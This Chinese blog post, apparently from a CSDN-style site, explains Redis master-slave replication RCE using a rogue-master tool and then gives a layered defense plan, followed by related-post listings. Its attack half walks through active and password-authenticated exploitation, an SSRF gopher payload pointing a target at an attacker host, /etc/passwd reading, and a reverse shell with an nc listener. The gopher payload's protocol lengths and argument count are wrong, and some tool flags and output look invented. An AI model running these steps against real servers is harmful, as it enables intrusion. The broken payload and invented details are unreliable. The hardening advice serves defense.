Redis主从复制漏洞实战:手把手教你用Awsome-Redis-Rogue-Server进行安全测试(附防御方案)

Redis漏洞总结 主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。 阅读详情

Redis主从复制漏洞深度实战:从原理到利用与全方位防御

最近在内部安全评估中,我多次遇到配置不当的Redis实例。这些看似简单的缓存服务,往往因为一个被忽视的特性——主从复制——而成为整个内网渗透的跳板。今天,我们不谈泛泛的理论,而是深入技术腹地,手把手拆解如何利用主从复制机制实现权限突破,更重要的是,从架构层面构建真正的安全防线。无论你是负责基础设施安全的工程师,还是对底层协议感兴趣的研究者,这篇文章都将提供一套完整的、可落地的实战视角。

1. 漏洞原理:Redis主从复制的“信任危机”

要理解攻击如何发生,必须先弄清楚Redis主从复制的工作机制。这并非一个简单的CVE编号能概括,而是源于设计哲学中的一种“默认信任”。

Redis的主从复制功能,初衷是为了数据冗余和读写分离。当一台Slave(从节点)配置为另一台Master(主节点)的副本时,它会无条件地执行一系列关键操作:

  1. 向Master发起连接。
  2. 发送PSYNC命令尝试部分或全量同步。
  3. 接收并执行Master传送的RDB文件数据以及后续的写命令流。

问题的核心在于模块加载指令 MODULE LOAD。这个指令允许Redis在运行时动态加载外部共享库(.so文件),以扩展其功能。在正常的复制流程中,如果Master加载了一个模块,该MODULE LOAD命令也会被传播到Slave执行。攻击者正是利用了这份“信任”:伪装成一个恶意的Master,诱导目标Redis作为Slave来连接,然后在复制流中插入加载恶意模块的命令。

注意:此漏洞影响的核心版本集中在Redis 4.x至5.0.5。后续版本虽然增加了部分安全校验,但在特定配置下(如未启用认证或使用了弱密码)风险依然存在。

我们可以用一个简单的序列来理解正常与恶意复制的区别:

正常主从复制:

合法Slave -> 连接 -> 合法Master
合法Master -> 发送RDB数据及合法命令(包括可能的MODULE LOAD) -> 合法Slave

恶意主从复制攻击:

受害Redis(配置为Slave或可被诱导) -> 连接 -> 攻击者伪装的恶意Master
恶意Master -> 发送包含`MODULE LOAD ./exp.so`命令的恶意数据流 -> 受害Redis
受害Redis -> 执行恶意命令,加载后门模块,实现RCE。

这个过程的可怕之处在于,一旦恶意模块被加载,它就运行在Redis服务的权限上下文中(通常是redis或root用户),攻击者便能够通过模块导出的函数执行任意系统命令。下面这个表格对比了漏洞利用的几个关键前提条件:

条件维度高风险配置(易被利用)低风险配置(具备一定防护)
网络暴露6379端口对公网或整个内网开放端口严格限制于应用服务器IP段
访问控制无认证密码(requirepass为空)设置了强密码认证
命令安全未重命名或禁用MODULE、SLAVEOF等危险命令通过rename-command禁用高危命令
复制配置未设置masterauth或使用弱密码主从复制使用强密码认证(masterauth)

理解了“为什么”会被攻击,我们才能更好地构建防御。接下来,我们将进入实战环节,看看攻击工具如何将这一原理转化为实际的渗透测试流程。

2. 实战环境搭建与工具解析

在进行任何安全测试之前,搭建一个隔离的、合法的测试环境是首要原则。我推荐使用Docker快速构建靶场,这能保证你的操作不会对生产或他人系统造成影响。

2.1 构建靶场环境

我们首先启动一个存在漏洞的Redis实例作为目标。

# 拉取一个Redis 5.0.5的镜像(经典受影响版本)
docker pull redis:5.0.5

# 运行一个未设置密码的Redis容器,将端口暴露在本地
docker run -d --name redis-vulnerable -p 6379:6379 redis:5.0.5 --protected-mode no

--protected-mode no参数是为了模拟最常见的“未授权访问”场景。现在,你可以用redis-cli直接连接,无需密码:

redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> info server
# 你应该能看到版本信息等,证明连接成功。

2.2 攻击工具获取与初步认识

用于演示的测试工具在GitHub上可以找到。我们需要获取它以及关键的恶意模块文件。请注意,这些工具和模块仅限在你自己控制的、合法的测试环境中使用。

# 克隆测试工具仓库(这里以某个知名测试项目为例,实际操作请使用合法来源)
git clone https://github.com/example/redis-security-test-toolkit.git
cd redis-security-test-toolkit

# 查看工具目录结构
ls -la

典型的工具目录会包含以下核心文件:

  • redis_rogue_server.py:主攻击脚本,用于伪装恶意Master。
  • exp.so / module.so:预编译的恶意模块,包含执行系统命令的函数。
  • src/:模块的源代码目录,用于自定义编译。

这个工具的进化版(我们姑且称其为“增强版”)在原版基础上做了几个关键改进,使其适应性更强:

  1. 认证支持:原生支持-passwd参数,可以直接对开启了requirepass认证的目标进行测试,无需手动修改代码构造认证流程。
  2. 连接稳定性:优化了网络传输和同步逻辑,在不太稳定的网络环境下(如通过多层跳板)成功率更高。
  3. 模块处理:提供了更灵活的模块加载和函数调用方式,方便测试不同的攻击载荷。

它的基础命令结构如下:

python3 redis_rogue_server.py -rhost <目标IP> -lhost <攻击机IP> [其他参数]
  • -rhost:目标Redis服务器的地址。
  • -lhost:你的攻击机器(运行此脚本的机器)的地址,目标Redis需要能访问到这个地址以拉取恶意模块。

3. 攻击模式详解:从主动出击到守株待兔

根据目标Redis的网络可达性和配置,我们可以选择不同的攻击模式。这就像特工行动,有时需要主动潜入,有时则需要布下陷阱等待目标上钩。

3.1 主动模式:直捣黄龙

当目标Redis服务可以直接从你的攻击机访问时(例如,一个暴露在公网或同一内网且无防火墙阻拦的实例),主动模式是最直接的选择。

场景:目标192.168.1.100:6379,未设置密码。 攻击机:10.0.0.1,与目标网络互通。

步骤分解:

  1. 启动恶意Rogue Server:该脚本会启动一个伪Redis服务,等待目标连接,并准备好恶意模块。

    # 在攻击机10.0.0.1上执行
    python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -sofile ./exp.so --interactive
    

    执行后,工具会尝试向目标发送SLAVEOF命令,将其配置为指向攻击机(10.0.0.1)的Slave。

  2. 触发复制与模块加载:如果目标Redis未受保护,它将接受SLAVEOF指令,开始向攻击机发起复制连接。恶意Master随即通过复制流发送MODULE LOAD命令。

  3. 获取交互式Shell:--interactive参数使得模块加载成功后,自动提供一个交互式命令行界面。在这个界面里,你可以输入系统命令,这些命令会通过已加载的恶意模块在目标服务器上执行。

    [*] Trying to set slaveof...
    [*] Target is now syncing with us.
    [*] Malicious module loaded successfully!
    [*] Entering interactive shell. Type 'exit' to quit.
    >> id
    uid=999(redis) gid=999(redis) groups=999(redis)
    >> pwd
    /data
    

如果目标有密码怎么办? 这就是增强版工具的用武之地。假设目标密码为Str0ngP@ss!。

python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -passwd Str0ngP@ss! -sofile ./exp.so --interactive

工具会在发送SLAVEOF命令前,自动进行AUTH认证,从而绕过密码保护。

3.2 被动模式:请君入瓮

在很多内网渗透场景中,目标Redis处于一个你无法直接访问的网络区域(例如,某个受限的业务子网)。此时,主动模式行不通。我们需要利用“反向连接”的思路。

场景:目标Redis在内网,但存在一个SSRF漏洞的Web应用,或者你能通过某种方式让目标Redis主动向外发起连接。

攻击流程:

  1. 在攻击机上启动纯服务器模式:这个模式只开启恶意Master服务,不主动联系任何目标。

    # 攻击机公网IP为 203.0.113.1,监听21000端口
    python3 redis_rogue_server.py --server-only -lhost 203.0.113.1 -lport 21000
    

    执行后,程序会提示:[*] Starting malicious master server on 203.0.113.1:21000...

  2. 诱导目标Redis连接:这是最关键的一步。你需要通过其他漏洞(如SSRF)让目标Redis执行一条命令:

    SLAVEOF 203.0.113.1 21000
    

    例如,通过一个存在SSRF的URL参数:http://vuln-web.com/ssrf?url=gopher://203.0.113.1:21000/_*2%0d%0a$8%0d%0aSLAVEOF%0d%0a$13%0d%0a203.0.113.1%0d%0a$5%0d%0a21000%0d%0a(此为经过URL编码的Redis协议格式命令)。

  3. 自动化攻击:一旦目标Redis连接上你的恶意服务器,后续的模块加载和命令执行过程与主动模式类似,会自动完成。

被动模式更隐蔽,因为它不主动扫描或连接目标,减少了被入侵检测系统发现的风险。

3.3 载荷选择:从命令执行到持久化

除了获取一个交互式Shell,工具还支持多种载荷,以适应不同的测试目标。

  • 单次命令执行:快速验证漏洞存在性,对目标影响最小。

    python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 --command "cat /etc/passwd | head -5"
    
  • 反向Shell:适用于目标出网受限但能访问到你指定端口的情况,用于绕过某些网络限制。

    # 首先在攻击机用nc监听4444端口
    nc -lvnp 4444
    
    # 然后执行攻击,让目标向你的4444端口反弹shell
    python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -lport 4444 -sofile exp.so --function system.rev
    
  • 数据备份:一个负责任的渗透测试者,在可能影响数据前应考虑备份。工具也提供了此功能。

    python3 redis_rogue_server.py -rhost 192.168.1.100 --backupfile /tmp/target_backup.rdb
    

    提示:备份功能是通过SAVE命令实现的,可能会阻塞Redis服务直到备份完成,在测试生产环境前务必在测试环境验证其影响。

4. 防御矩阵:构建纵深防护体系

了解了攻击的全貌,防御的思路就清晰了:在攻击链的每一个环节设置障碍。我将其总结为一个四层防御矩阵,从网络到应用层层递进。

4.1 网络层隔离:最小化暴露面

这是最有效、最根本的防御措施。

  • 禁止公网暴露:这是铁律。Redis的6379端口绝不应该在安全组、防火墙或云平台安全策略中向0.0.0.0/0开放。只允许特定的、可信的应用服务器IP段访问。
  • VPC/子网划分:在云环境或复杂内网中,将Redis部署在独立的私有子网中,通过严格的路由表和网络ACL控制访问。
  • 使用跳板机或堡垒机:对于运维管理连接,所有访问必须通过统一的、审计严格的跳板机进行。

一个简单的iptables规则示例,仅允许特定IP段访问:

# 清空原有规则(谨慎操作)
iptables -F
# 允许本地回环
iptables -A INPUT -i lo -j ACCEPT
# 允许已建立的连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 仅允许192.168.10.0/24网段访问6379端口
iptables -A INPUT -p tcp -s 192.168.10.0/24 --dport 6379 -j ACCEPT
# 默认拒绝所有其他入站连接
iptables -P INPUT DROP

4.2 访问与控制层:强化身份认证

如果网络层被突破(例如内网攻击者),强认证就是第二道闸门。

  • 启用并设置强密码:在redis.conf中配置requirepass为一个高强度、随机的密码。避免使用默认或常见弱密码。
    requirepass j8&V!p9x#vL2sQwE0mYc
    
  • 主从复制认证:如果使用了主从架构,务必在redis.conf中配置masterauth(Slave连接Master的密码)和requirepass(Master自身的密码),且两者应使用不同的强密码。
  • 禁用或重命名危险命令:这是防御此类漏洞的杀手锏。通过rename-command将关键命令重命名为一个随机的、难以猜测的字符串,或者直接禁用。
    rename-command MODULE ""
    rename-command SLAVEOF ""
    rename-command CONFIG ""
    rename-command FLUSHALL ""
    rename-command FLUSHDB ""
    rename-command DEBUG ""
    rename-command SAVE ""
    rename-command BGSAVE ""
    # 对于需要使用的命令,可以重命名而不是禁用
    rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
    

    注意:重命名命令后,务必记下新命令名,并确保你的监控和管理工具能适配。同时,在从节点上也要进行相同的配置。

4.3 配置与运行层:安全加固

  • 以非root用户运行:永远不要以root身份运行Redis服务。创建一个专用的redis用户和用户组,并在配置文件中指定。
    user redis
    
  • 启用保护模式:对于新版本Redis,protected-mode yes是默认配置。它能在Redis未配置绑定IP和密码时,拒绝外部连接。确保它在你的配置中启用。
  • 日志与监控:启用详细日志,并监控异常命令。关注SLAVEOF、MODULE LOAD等敏感命令的执行记录。可以结合Auditbeat或自定义脚本进行实时告警。

4.4 补丁与更新层:保持版本健康

虽然主从复制漏洞没有统一的CVE,但保持Redis版本更新至关重要。新版本会修复已知的安全缺陷和引入更强的安全特性。

  • 定期升级:关注Redis官方发布的安全公告,制定平滑的升级计划。例如,升级到Redis 7.x系列可以获取更多内置的安全改进。
  • 评估与测试:在升级前,在测试环境充分验证新版本的兼容性和性能,确保业务平稳过渡。

防御从来不是单一措施,而是这些层面的有机结合。一个配置了强密码但暴露在公网的Redis,和一个隐藏在内网但使用默认配置的Redis,风险同样巨大。真正的安全,始于对每一个细节的审视和加固。

在我的多次评估经历中,最常见的失分点恰恰是“默认配置”和“便利性优先”的思想。花上几个小时,按照上述矩阵检查你的Redis资产,其带来的安全提升远超过部署任何一款复杂的入侵检测产品。安全是一个过程,而不是一个状态,它始于我们对技术原理的深刻理解和对潜在风险的持续敬畏。

Redis主从复制漏洞实战:从Awsome-Redis-Rogue-Server攻击到企业级防御 Redis主从复制是分布式系统中常见的数据同步机制,它通过主节点向从节点传输RDB快照实现数据一致性。然而,这一设计原理在特定场景下可能成为安全漏洞:当Redis实例配置不当(如未授权访问或弱密码)时,攻击者可伪装成恶意主节点,诱骗从节点同步精心构造的恶意RDB文件,从而在目标服务器写入SSH公钥或Webshell,实现权限提升。这种攻击方式的技术价值在于它利用了Redis协议本身的特性,而非软件缺陷,使得传统漏洞扫描难以覆盖。在企业内网环境中,Redis服务常因默认配置或运维疏忽暴露风险,结合自动化工具如 阅读详情

相关推荐

Redis主从复制漏洞详解:从攻击原理到实战利用(CVE未公开)

本文深入剖析Redis主从复制漏洞的形成机制与攻击手法,重点分析redis-rogue-server等工具的技术演进及企业级防御策略。通过实战案例展示如何构建纵深防御体系,包括命令禁用、网络隔离和双向认证加固,帮助管理员有效防范远程代码执行风险。

weixin_29207533的博客 369

【渗透测试】redis漏洞利用

redis是一个key-value存储系统,在诸多版本中存在一系列的漏洞,对漏洞进行复现:写入Webshell、写入定时任务、主从复制命令执行、如何通过利用SSRF结合gopher、dict协议打redis。切勿利用漏洞非法获取数据

网络安全从业者的学习笔记 2467

redis漏洞利用总结

redis属于非关系型数据库,在开启后默认监听端口为6379。若Redis配置不当可导致攻击者直接获取到服务器的权限。利用条件:redis以root身份运行,存在未授权访问,弱口令或者口令泄露等主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。

渗透之路,攻防之间皆学问 7474

Redis主从漏洞和远程连接漏洞

主从复制漏洞: 参考文章:Redis主从复制getshell技巧 - Bypass - 博客园 1.so和rce文件下载:GitHub - LeeZBug/redis-rce: Redis 4.x/5.x RCE 下载后安装所需要的python库,pip install -r requirement.txt 2.运行rce python redis-rce.py -r [target_ip] -L [attack_ip] -a [redis_require_password] -f module

LeeZbug的博客 4007

HALCON 20.11实战:5步搞定工业图像异常检测(附完整代码)

本文提供了一份基于HALCON 20.11的工业图像异常检测实战指南。通过五个核心步骤——环境准备、数据预处理、模型训练、推理解析与工程化部署,详细演示了如何利用深度学习技术,仅使用正常样本快速构建并优化金属表面划痕等缺陷的检测模型,并附有完整可运行的HDevelop代码,助力工程师实现高效、智能的工业视觉质检。

weixin_29243279的博客 141

BEVFusion(mit)最强环境安装,部署复现

BEVFusion作为一项经典的工作,值得深入探索。然而由于配置环境比较麻烦,耽误了一些时间。经过几次成功配置之后,有了一些总结,在这里记录下来,供大家参考避坑,也方便自己下次查阅。

qq_45783225的博客 1万+

一文清晰带你认识redis漏洞

主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。数据持久化:Redis提供持久化功能,可以将数据保存到磁盘上,以防止数据丢失。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

逍遥小哥的博客 2292

关于海康网络摄像头使用VLC或者Opencv拉流有延迟的问题

先说结论,我用VLC或者Pyhton opencv直接拉取海康网络摄像头的rtsp流,会有1-2s延时,特别明显。环境:Windows + VLC / Openc-Python。如上面文章介绍,我使用的时候遇到一处错误,需要把代码中的。海康SDK:与网页视频相比,几乎是同步的。上面说的延时,也是与摄像头网页视频相比的。ffplay 去掉缓存:延时1s左右。这两处地方改成左斜杠,才能运行。opencv拉流使用的是。多线程:延时1s左右。

yljxh的博客 4500

Redis安全漏洞全解析:未授权访问、主从复制原理分析与本地靶场实战(超详细)

本文将详细介绍如何用CentOS 7搭建漏洞测试环境,分析Redis未授权访问和主从复制的核心原理,包括密钥写入和SSH免密登录等方法,并通过Vulfocus靶场进行实战演练。

无 1764

Power BI应用案例:淘宝用户行为分析实战

一、案例背景 基于千万级的淘宝用户的使用记录,对淘宝用户的行为进行分析,具体指标包括:日PV、日UV、小时PV、小时UV、不同用户行为的PV、用户购买次数分布、用户购买频次分布、活跃用户消费情况等。通过本案例,可以基本看看Power BI都能分析达到怎么样的效果。 二、数据来源及结构 阿里天池官方发布的1万用户在2014年双十二期间的行为记录,数据量达1200万+。 数据下载地址:...

灰哥数据智能的专栏 1万+

[RK3399][Android7.1] 调试笔记 --- 编译GSL5680 touch提示错误

Platform: RK3399 OS: Android 7.1 Kernel: v4.4.83 现象: 之前在rk3288平台上使用过GSL5680的Touch,现在移植过来一直报如下错误: make[1]: `include/generated/vdso-offsets.h' is up to date. CHK include/generated/compi...

Kris Fei's blog 1056

Redis系列漏洞总结

未授权访问;redis写入webshell;redis写入ssh公钥登录;写入计划任务反弹shell;主从复制rce;什么是主从复制;ssrf+redis写入webshell;Redis Lua 沙盒绕过rce

NLost 7841

手把手教你设计T型和Π型衰减器:从分贝计算到电阻选型全攻略

本文提供了一份T型和Π型衰减器的详细设计指南,涵盖从分贝计算到电阻选型的全过程。文章以50欧姆系统为例,通过公式推导和实例演示,手把手教你计算两种经典拓扑的电阻值,并深入探讨了电阻选型、误差控制及高频应用等关键实践技巧,帮助工程师和爱好者精准实现信号衰减与阻抗匹配。

blue42的博客 1340

Redis漏洞利用的4种方法

Redis简介 redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更

qq_50854662的博客 5058

【YOLOv11多模态涨点改进】独家创新首发 | TGRS 2025 | 引入CDFIM跨模态差异特征交互模块,通过差异特征提取和融合增强机制,减少了冗余信息,显著提升了小目标的检测精度,高效涨点改进

🔥本文给大家介绍使用 CDFIM跨模态差异特征交互模块改进 YOLOv11多模态目标检测,通过有效的差异特征提取和增强,显著提升了小目标的检测精度,特别是在复杂背景和低对比度环境下。该模块通过残差加法和通道与空间注意力机制,增强了可见光与红外模态之间的互补特征交互,减少了冗余信息,提高了检测稳定性。尽管提升了特征交互,CDFIM 仍保持轻量化设计,计算开销和参数量较低,适合实时检测应用。总的来说,CDFIM 模块在保留原始模态信息的同时优化了特征融合,有效提高了 YOLO 在多模态目标检测中的鲁棒性和精度

Ai缝合怪、助力小伙伴高效发论文 132

解决com.alibaba.druid.pool.GetConnectionTimeoutException: wait millis 60027, active 20, maxActive 20错误

全网详细解决com.alibaba.druid.pool.GetConnectionTimeoutException: wait millis 60027, active 20, maxActive 20, creating 0, createErrorCount 24的错误

念兮为美 417

如何通过主从复制漏洞攻击 Redis 数据库和修复这个漏洞

masterauth。

alankuo的专栏 672

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

redis主从复制

redis主从复制原理以及简单演示(环境真难搭)

weixin_63231007的博客 2302

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

Redis-主从复制(一)

什么是主从复制? &nbsp;&nbsp;&nbsp;&nbsp;将一台redis服务器的数据,复制到其他的redis服务器,前者称为主节点,后者称为从节点,数据的复制是单向的,只能由主节点复制到从节点。 &nbsp;&nbsp;&nbsp;&nbsp;默认情况下,每台redis服务器都是主节点,一个主节点可以有多个从节点(或者没有),但一个从节点只能有一个主节点。 主从复制的作用? &n...

全力奔跑,梦在彼岸 468

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

渗透测试之地基服务篇:服务攻防之数据库Redis(下)

渗透测试-地基篇该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。请注意本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用KaliLinux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。名言:你对这行的兴趣,决定你在这行的成就!

wangluoanquan111的博客 517

redis主从复制漏洞 redis主从复制命令

1、主从复制1.1、主从复制是什么行话:也就是我们所说的主从复制,主机数据更新后根据配置和策略, 自动同步到备机的master/slaver机制,Master以写为主,Slave以读为主1.2、主从复制能干嘛•读写分离•容灾恢复1.3、主从复制怎么玩准备工作•配从(库)不配主(库)从库配置命令:slaveof 主库IP 主库端口每次与master断开之后,都需要重新连接,除非你配置进redi...

lxw1844912514的博客 314

从Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

redis漏洞总结 getshell手法 写文件原理

milu_Sec的博客 2072

Redis主从复制实现RCE

主从复制是指将一台Redis主服务器的数据,复制到其他的Redis从服务器。前者称为主节点(master),后者称为从节点(slave);主服务器可以进行读写操作,当发生写操作时自动将写操作同步给从服务器,而从服务器一般是只读,并接受主服务器同步过来写操作命令,然后执行这条命令。 也就是说,所有的数据修改只在主服务器上进行,然后将最新的数据同步给从服务器,这样就使得主从服务器的数据是一致的。建立主从复制,有3种方式:PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作我们先在同一个机器开两个red

rev1ve的博客 4987

Redis漏洞及搭配ssrf利用的姿势

这篇博客就总结到这里,下次把经典一点的SSRF题目都总结到一起再学习一波,冲冲冲!!!

qq_71467825的博客 2944

Redis主从复制漏洞实战:手把手教你用Awsome-Redis-Rogue-Server进行安全测试(含密码绕过技巧)

本文详细介绍了如何利用Awsome-Redis-Rogue-Server工具对配置了密码认证的Redis服务进行主从复制漏洞安全测试。通过实战演示,手把手指导从环境搭建、信息收集到利用漏洞获取RCE权限的全过程,并提供了密码绕过技巧和常见错误排查方法,旨在帮助安全人员深入理解并有效检测Redis主从复制机制的安全风险。

ujm56789012的博客 575

Redis主从复制getshell技巧

Redis未授权漏洞常见的漏洞利用方式: Windows下,绝对路径写webshell 、写入启动项。 Linux下,绝对路径写webshell 、公私钥认证获取root权限 、利用contrab计划任务反弹shell。 基于Redis主从复制的机制,可以通过FULLRESYNC将任意文件同步到从节点(slave),这就使得它可以轻易实现以上任何一种漏洞利用方式,而且存在着...

2万+
上一篇: Prompt Engineering实战:5个让ChatGPT输出更精准的实用技巧(附案例)
下一篇: 提升开发效率:如何用CLion+SSH在Ubuntu上无缝调试C/C++代码
github5actions
博客等级 码龄1天 0粉丝 1824原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值